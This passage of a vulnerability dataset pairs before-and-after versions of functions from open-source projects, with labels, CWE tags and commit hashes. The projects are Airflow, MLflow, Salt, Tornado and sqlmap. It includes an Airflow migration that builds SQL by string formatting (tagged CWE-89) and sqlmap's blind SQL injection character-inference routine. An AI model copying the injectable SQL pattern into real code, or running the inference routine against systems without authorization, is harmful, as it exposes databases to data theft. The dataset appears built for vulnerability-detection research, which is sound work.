        )
    )
    with op.batch_alter_table('dag', schema=None) as batch_op:
        batch_op.alter_column('concurrency', type_=sa.Integer(), nullable=False)
        batch_op.alter_column('has_task_concurrency_limits', type_=sa.Boolean(), nullable=False)",CWE-89,apache/airflow,44031bf72b4c9dd9a71a16dc2743081403f9d28b,"def upgrade():
    """"""Apply Add scheduling_decision to DagRun and DAG""""""
    conn = op.get_bind()  # pylint: disable=no-member
    is_mysql = bool(conn.dialect.name == ""mysql"")
    timestamp = sa.TIMESTAMP(timezone=True) if not is_mysql else mysql.TIMESTAMP(fsp=6, timezone=True)

    with op.batch_alter_table('dag_run', schema=None) as batch_op:
        batch_op.add_column(sa.Column('last_scheduling_decision', timestamp, nullable=True))
        batch_op.create_index('idx_last_scheduling_decision', ['last_scheduling_decision'], unique=False)
        batch_op.add_column(sa.Column('dag_hash', sa.String(32), nullable=True))

    with op.batch_alter_table('dag', schema=None) as batch_op:
        batch_op.add_column(sa.Column('next_dagrun', timestamp, nullable=True))
        batch_op.add_column(sa.Column('next_dagrun_create_after', timestamp, nullable=True))
        # Create with nullable and no default, then ALTER to set values, to avoid table level lock
        batch_op.add_column(sa.Column('concurrency', sa.Integer(), nullable=True))
        batch_op.add_column(sa.Column('has_task_concurrency_limits', sa.Boolean(), nullable=True))

        batch_op.create_index('idx_next_dagrun_create_after', ['next_dagrun_create_after'], unique=False)

    try:
        from airflow.configuration import conf
        concurrency = conf.getint('core', 'dag_concurrency', fallback=16)
    except:  # noqa
        concurrency = 16

    # Set it to true here as it makes us take the slow/more complete path, and when it's next parsed by the
    # DagParser it will get set to correct value.
    op.execute(
        ""UPDATE dag SET concurrency={}, has_task_concurrency_limits=true where concurrency IS NULL"".format(
            concurrency
        )
    )
    with op.batch_alter_table('dag', schema=None) as batch_op:
        batch_op.alter_column('concurrency', type_=sa.Integer(), nullable=False)
        batch_op.alter_column('has_task_concurrency_limits', type_=sa.Boolean(), nullable=False)"
,UNKNOWN,UNKNOWN,tests/sagemaker/test_sagemaker_deployment_client.py,1,"def test_create_deployment_create_sagemaker_and_s3_resources_with_expected_names_and_env_from_local(
    proxies_enabled, pretrained_model, sagemaker_client, sagemaker_deployment_client
):
    expected_model_environment = {
        ""MLFLOW_DEPLOYMENT_FLAVOR_NAME"": ""python_function"",
        ""SERVING_ENVIRONMENT"": ""SageMaker"",
        ""GUNCORN_CMD_ARGS"": '""--timeout 60""',
        ""DISABLE_NGINX"": ""true"",
    }

    if proxies_enabled:
        proxy_variables = {
            ""http_proxy"": ""http://user:password@proxy.example.net:1234"",
            ""https_proxy"": ""https://user:password@proxy.example.net:1234"",
            ""no_proxy"": ""localhost"",
        }
        expected_model_environment.update(proxy_variables)
        name = ""test-app-proxies""
        with mock.patch.dict(os.environ, proxy_variables, clear=True):
            sagemaker_deployment_client.create_deployment(
                name=name,
                model_uri=pretrained_model.model_uri,
                config=dict(
                    env={""DISABLE_NGINX"": ""true"", ""GUNCORN_CMD_ARGS"": '""--timeout 60""'},
                ),
            )
    else:
        name = ""test-app""
        with mock.patch.dict(os.environ, {}, clear=True):
            sagemaker_deployment_client.create_deployment(
                name=name,
                model_uri=pretrained_model.model_uri,
                config=dict(
                    env={""DISABLE_NGINX"": ""true"", ""GUNCORN_CMD_ARGS"": '""--timeout 60""'},
                ),
            )

    region_name = sagemaker_client.meta.region_name
    s3_client = boto3.client(""s3"", region_name=region_name)
    default_bucket = mfs._get_default_s3_bucket(region_name)
    endpoint_description = sagemaker_client.describe_endpoint(EndpointName=name)
    endpoint_production_variants = endpoint_description[""ProductionVariants""]
    assert len(endpoint_production_variants) == 1
    model_name = endpoint_production_variants[0][""VariantName""]
    assert model_name in [model[""ModelName""] for model in sagemaker_client.list_models()[""Models""]]
    object_names = [
        entry[""Key""] for entry in s3_client.list_objects(Bucket=default_bucket)[""Contents""]
    ]
    assert any(model_name in object_name for object_name in object_names)
    assert any(
        name in config[""EndpointConfigName""]
        for config in sagemaker_client.list_endpoint_configs()[""EndpointConfigs""]
    )
    assert name in [
        endpoint[""EndpointName""] for endpoint in sagemaker_client.list_endpoints()[""Endpoints""]
    ]
    model_environment = sagemaker_client.describe_model(ModelName=model_name)[""PrimaryContainer""][
        ""Environment""
    ]

    assert model_environment == expected_model_environment",CWE-703,mlflow/mlflow,8622d73aa75423c839f02fbe21d0a66673ef5d3d,"def test_create_deployment_create_sagemaker_and_s3_resources_with_expected_names_and_env_from_local(
    proxies_enabled, pretrained_model, sagemaker_client, sagemaker_deployment_client
):
    expected_model_environment = {
        ""MLFLOW_DEPLOYMENT_FLAVOR_NAME"": ""python_function"",
        ""SERVING_ENVIRONMENT"": ""SageMaker"",
        ""GUNCORN_CMD_ARGS"": '""--timeout 60""',
        ""DISABLE_NGINX"": ""1"",
    }

    if proxies_enabled:
        proxy_variables = {
            ""http_proxy"": ""http://user:password@proxy.example.net:1234"",
            ""https_proxy"": ""https://user:password@proxy.example.net:1234"",
            ""no_proxy"": ""localhost"",
        }
        expected_model_environment.update(proxy_variables)
        name = ""test-app-proxies""
        with mock.patch.dict(os.environ, proxy_variables, clear=True):
            sagemaker_deployment_client.create_deployment(
                name=name,
                model_uri=pretrained_model.model_uri,
                config=dict(
                    env={""DISABLE_NGINX"": ""1"", ""GUNCORN_CMD_ARGS"": '""--timeout 60""'},
                ),
            )
    else:
        name = ""test-app""
        with mock.patch.dict(os.environ, {}, clear=True):
            sagemaker_deployment_client.create_deployment(
                name=name,
                model_uri=pretrained_model.model_uri,
                config=dict(
                    env={""DISABLE_NGINX"": ""1"", ""GUNCORN_CMD_ARGS"": '""--timeout 60""'},
                ),
            )

    region_name = sagemaker_client.meta.region_name
    s3_client = boto3.client(""s3"", region_name=region_name)
    default_bucket = mfs._get_default_s3_bucket(region_name)
    endpoint_description = sagemaker_client.describe_endpoint(EndpointName=name)
    endpoint_production_variants = endpoint_description[""ProductionVariants""]
    assert len(endpoint_production_variants) == 1
    model_name = endpoint_production_variants[0][""VariantName""]
    assert model_name in [model[""ModelName""] for model in sagemaker_client.list_models()[""Models""]]
    object_names = [
        entry[""Key""] for entry in s3_client.list_objects(Bucket=default_bucket)[""Contents""]
    ]
    assert any(model_name in object_name for object_name in object_names)
    assert any(
        name in config[""EndpointConfigName""]
        for config in sagemaker_client.list_endpoint_configs()[""EndpointConfigs""]
    )
    assert name in [
        endpoint[""EndpointName""] for endpoint in sagemaker_client.list_endpoints()[""Endpoints""]
    ]
    model_environment = sagemaker_client.describe_model(ModelName=model_name)[""PrimaryContainer""][
        ""Environment""
    ]

    assert model_environment == expected_model_environment"
,UNKNOWN,UNKNOWN,tests/providers/elasticsearch/log/test_es_task_handler.py,1,"def test_read_with_match_phrase_query(self):
        similar_log_id = '{task_id}-{dag_id}-2016-01-01T00:00:00+00:00-1'.format(
            dag_id=TestElasticsearchTaskHandler.DAG_ID, task_id=TestElasticsearchTaskHandler.TASK_ID
        )
        another_test_message = 'another message'

        another_body = {'message': another_test_message, 'log_id': similar_log_id, 'offset': 1}
        self.es.index(index=self.index_name, doc_type=self.doc_type, body=another_body, id=1)

        ts = pendulum.now()
        logs, metadatas = self.es_task_handler.read(
            self.ti, 1, {'offset': '0', 'last_log_timestamp': str(ts), 'end_of_log': False, 'max_offset': 2}
        )
        assert 1 == len(logs)
        assert len(logs) == len(metadatas)
        assert self.test_message == logs[0][0][-1]
        assert another_test_message != logs[0]

        assert not metadatas[0]['end_of_log']
        assert '1' == metadatas[0]['offset']
        assert timezone.parse(metadatas[0]['last_log_timestamp']) > ts",CWE-703,apache/airflow,923bde2b917099135adfe470a5453f663131fd5f,"def test_read_with_match_phrase_query(self):
        similar_log_id = '{task_id}-{dag_id}-2016-01-01T00:00:00+00:00-1'.format(
            dag_id=TestElasticsearchTaskHandler.DAG_ID, task_id=TestElasticsearchTaskHandler.TASK_ID
        )
        another_test_message = 'another message'

        another_body = {'message': another_test_message, 'log_id': similar_log_id, 'offset': 1}
        self.es.index(index=self.index_name, doc_type=self.doc_type, body=another_body, id=1)

        ts = pendulum.now()
        logs, metadatas = self.es_task_handler.read(
            self.ti, 1, {'offset': 0, 'last_log_timestamp': str(ts), 'end_of_log': False}
        )
        assert 1 == len(logs)
        assert len(logs) == len(metadatas)
        assert self.test_message == logs[0][0][-1]
        assert another_test_message != logs[0]

        assert not metadatas[0]['end_of_log']
        assert '1' == metadatas[0]['offset']
        assert timezone.parse(metadatas[0]['last_log_timestamp']) > ts"
,UNKNOWN,UNKNOWN,tests/pytests/scenarios/multimaster/test_multimaster.py,1,"def test_minion_reconnection_attempts(
    event_listener,
    salt_mm_master_1,
    salt_mm_master_2,
    salt_mm_minion_1,
    salt_mm_minion_2,
    mm_master_1_salt_cli,
    mm_master_2_salt_cli,
    caplog,
):
    """"""
    Test that minions stay alive and reauth when masters go down and back up, even after restart
    """"""
    with salt_mm_master_2.stopped():
        with salt_mm_master_1.stopped():
            # Force the minion to restart
            salt_mm_minion_1.terminate()
            with caplog.at_level(logging.DEBUG):
                with pytest.raises(FactoryNotStarted):
                    with salt_mm_minion_1.started(start_timeout=30):
                        pass
            assert (
                ""Trying to connect to: tcp://{}:{}"".format(
                    salt_mm_master_1.config[""interface""],
                    salt_mm_master_1.config[""ret_port""],
                )
                in caplog.text
            )
            assert (
                ""Trying to connect to: tcp://{}:{}"".format(
                    salt_mm_master_2.config[""interface""],
                    salt_mm_master_2.config[""ret_port""],
                )
                in caplog.text
            )

        start_time = time.time()
        assert not salt_mm_minion_1.is_running()

        salt_mm_minion_1.start()

        assert salt_mm_minion_1.is_running()
        assert salt_mm_minion_2.is_running()

        start_events = event_listener.wait_for_events(
            [(salt_mm_master_1.id, ""salt/minion/{}/start"".format(salt_mm_minion_1.id))],
            timeout=30,
            after_time=start_time,
        )
        assert not start_events.missed
        assert len(start_events.matches) == 1

        start_time = time.time()
        _run_salt_cmds([mm_master_1_salt_cli], [salt_mm_minion_1, salt_mm_minion_2])

        # pylint: disable=unbalanced-tuple-unpacking
        minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
            [salt_mm_master_1, salt_mm_master_2],
            [salt_mm_minion_1, salt_mm_minion_2],
            event_listener,
            start_time,
        )

        # Each minion should only return to the first master
        assert len(minion_1_ret_events) == 1
        assert len(minion_2_ret_events) == 1
        assert minion_1_ret_events.pop().daemon_id == salt_mm_master_1.id
        assert minion_2_ret_events.pop().daemon_id == salt_mm_master_1.id

    start_events = event_listener.wait_for_events(
        [(salt_mm_master_2.id, ""salt/minion/{}/start"".format(salt_mm_minion_1.id))],
        timeout=30,
        after_time=start_time,
    )
    assert not start_events.missed
    assert len(start_events.matches) == 1

    with salt_mm_master_1.stopped():
        start_time = time.time()
        _run_salt_cmds([mm_master_2_salt_cli], [salt_mm_minion_1, salt_mm_minion_2])

        # pylint: disable=unbalanced-tuple-unpacking
        minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
            [salt_mm_master_1, salt_mm_master_2],
            [salt_mm_minion_1, salt_mm_minion_2],
            event_listener,
            start_time,
        )

        # Each minion should only return to the second master
        assert len(minion_1_ret_events) == 1
        assert len(minion_2_ret_events) == 1
        assert minion_1_ret_events.pop().daemon_id == salt_mm_master_2.id
        assert minion_2_ret_events.pop().daemon_id == salt_mm_master_2.id

    # Make sure minions work normally
    start_time = time.time()

    _run_salt_cmds(
        [mm_master_1_salt_cli, mm_master_2_salt_cli],
        [salt_mm_minion_1, salt_mm_minion_2],
    )

    # pylint: disable=unbalanced-tuple-unpacking
    minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
        [mm_master_1_salt_cli, mm_master_2_salt_cli],
        [salt_mm_minion_1, salt_mm_minion_2],
        event_listener,
        start_time,
    )

    assert len(minion_1_ret_events) == 2
    assert len(minion_2_ret_events) == 2",CWE-703,saltstack/salt,f56d67679ee0499cecdd085fde9941a88fdb673e,"def test_minion_reconnection_attempts(
    event_listener,
    salt_mm_master_1,
    salt_mm_master_2,
    salt_mm_minion_1,
    salt_mm_minion_2,
    mm_master_1_salt_cli,
    mm_master_2_salt_cli,
    caplog,
):
    """"""
    Test that minions stay alive and reauth when masters go down and back up, even after restart
    """"""
    with salt_mm_master_2.stopped():
        with salt_mm_master_1.stopped():
            # Force the minion to restart
            salt_mm_minion_1.terminate()
            with caplog.at_level(logging.DEBUG):
                with pytest.raises(FactoryNotStarted):
                    with salt_mm_minion_1.started(start_timeout=30):
                        pass
            assert (
                ""Trying to connect to: tcp://{}:{}"".format(
                    salt_mm_master_1.config[""interface""],
                    salt_mm_master_1.config[""ret_port""],
                )
                in caplog.text
            )
            assert (
                ""Trying to connect to: tcp://{}:{}"".format(
                    salt_mm_master_2.config[""interface""],
                    salt_mm_master_2.config[""ret_port""],
                )
                in caplog.text
            )

        assert not salt_mm_minion_1.is_running()

        start_time = time.time()
        salt_mm_minion_1.start()
        assert salt_mm_minion_1.is_running()
        assert salt_mm_minion_2.is_running()

        # Make sure the minion reauths
        events = event_listener.get_events(
            [(salt_mm_master_1.id, ""salt/auth"")], after_time=start_time
        )
        assert events
        assert len(events) == 1
        assert events.pop().data[""id""] == salt_mm_minion_1.id

        start_time = time.time()
        _run_salt_cmds([mm_master_1_salt_cli], [salt_mm_minion_1, salt_mm_minion_2])

        # pylint: disable=unbalanced-tuple-unpacking
        minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
            [salt_mm_master_1, salt_mm_master_2],
            [salt_mm_minion_1, salt_mm_minion_2],
            event_listener,
            start_time,
        )

        # Each minion should only return to the first master
        assert len(minion_1_ret_events) == 1
        assert len(minion_2_ret_events) == 1
        assert minion_1_ret_events.pop().daemon_id == salt_mm_master_1.id
        assert minion_2_ret_events.pop().daemon_id == salt_mm_master_1.id

    with salt_mm_master_1.stopped():
        start_time = time.time()
        _run_salt_cmds([mm_master_2_salt_cli], [salt_mm_minion_1, salt_mm_minion_2])

        # pylint: disable=unbalanced-tuple-unpacking
        minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
            [salt_mm_master_1, salt_mm_master_2],
            [salt_mm_minion_1, salt_mm_minion_2],
            event_listener,
            start_time,
        )

        # Each minion should only return to the second master
        assert len(minion_1_ret_events) == 1
        assert len(minion_2_ret_events) == 1
        assert minion_1_ret_events.pop().daemon_id == salt_mm_master_2.id
        assert minion_2_ret_events.pop().daemon_id == salt_mm_master_2.id

    # Make sure minions work normally
    start_time = time.time()
    _run_salt_cmds(
        [mm_master_1_salt_cli, mm_master_2_salt_cli],
        [salt_mm_minion_1, salt_mm_minion_2],
    )

    # pylint: disable=unbalanced-tuple-unpacking
    minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
        [mm_master_1_salt_cli, mm_master_2_salt_cli],
        [salt_mm_minion_1, salt_mm_minion_2],
        event_listener,
        start_time,
    )

    assert len(minion_1_ret_events) == 2
    assert len(minion_2_ret_events) == 2"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/template_test.py,0,"def test_error_line_number_module(self):
        loader = DictLoader({
            ""base.html"": ""{% module Template('sub.html') %}"",
            ""sub.html"": ""{{1/0}}"",
        }, namespace={""_tt_modules"": ObjectDict({""Template"": lambda path, **kwargs: loader.load(path).generate(**kwargs)})})
        try:
            loader.load(""base.html"").generate()
        except ZeroDivisionError:
            exc_stack = traceback.format_exc()
            self.assertTrue('# base.html:1' in exc_stack)
            self.assertTrue('# sub.html:1' in exc_stack)",CWE-Unknown,tornadoweb/tornado,1a1b0498e9cddfc89721e950c2882709a23570a5,"def test_error_line_number_module(self):
        loader = DictLoader({
            ""base.html"": ""{% module Template('sub.html') %}"",
            ""sub.html"": ""{{1/0}}"",
        }, namespace={""_modules"": ObjectDict({""Template"": lambda path, **kwargs: loader.load(path).generate(**kwargs)})})
        try:
            loader.load(""base.html"").generate()
        except ZeroDivisionError:
            exc_stack = traceback.format_exc()
            self.assertTrue('# base.html:1' in exc_stack)
            self.assertTrue('# sub.html:1' in exc_stack)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/states/test_boto_s3_bucket.py,0,"def setup_loader_modules(self):
        ctx = {}
        utils = salt.loader.utils(
            self.opts,
            whitelist=['boto', 'boto3', 'args', 'systemd', 'path', 'platform', 'reg'],
            context=ctx)
        serializers = salt.loader.serializers(self.opts)
        self.funcs = funcs = salt.loader.minion_mods(self.opts, context=ctx, utils=utils, whitelist=['boto_s3_bucket'])
        self.salt_states = salt.loader.states(opts=self.opts, functions=funcs, utils=utils, whitelist=['boto_s3_bucket'],
                                              serializers=serializers)
        return {
            boto_s3_bucket: {
                '__opts__': self.opts,
                '__salt__': funcs,
                '__utils__': utils,
                '__states__': self.salt_states,
                '__serializers__': serializers,
            }
        }",,saltstack/salt,f95f0e7d2bccab83d8a3db1a9280b940db358e83,"def setup_loader_modules(self):
        ctx = {}
        utils = salt.loader.utils(
            self.opts,
            whitelist=['boto', 'boto3', 'args', 'systemd', 'path', 'platform'],
            context=ctx)
        serializers = salt.loader.serializers(self.opts)
        self.funcs = funcs = salt.loader.minion_mods(self.opts, context=ctx, utils=utils, whitelist=['boto_s3_bucket'])
        self.salt_states = salt.loader.states(opts=self.opts, functions=funcs, utils=utils, whitelist=['boto_s3_bucket'],
                                              serializers=serializers)
        return {
            boto_s3_bucket: {
                '__opts__': self.opts,
                '__salt__': funcs,
                '__utils__': utils,
                '__states__': self.salt_states,
                '__serializers__': serializers,
            }
        }"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/blind/inference.py,0,"def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                            conf.timeSec += 1
                                            warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                            logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = ""turning off time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # If we are working with non-continuous elements, both minValue and character after
                        # are possible candidates
                        for retVal in (originalTbl[index], originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None",,sqlmapproject/sqlmap,84ba3d45c1c129a81f6f784b2b04d0d321423ccf,"def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = ""turning off time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # If we are working with non-continuous elements, both minValue and character after
                        # are possible candidates
                        for retVal in (originalTbl[index], originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        if conf.offline:
            return None, None, None
        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if multipart:
            post = multipart

        if chunked and post:
            post = urllib.unquote(post)
            post = chunkSplitPostData(post)

        websocket_ = url.lower().startswith(""ws"")

        if not urlparse.urlsplit(url).netloc:
            url = urlparse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = urlparse.urlsplit(url)
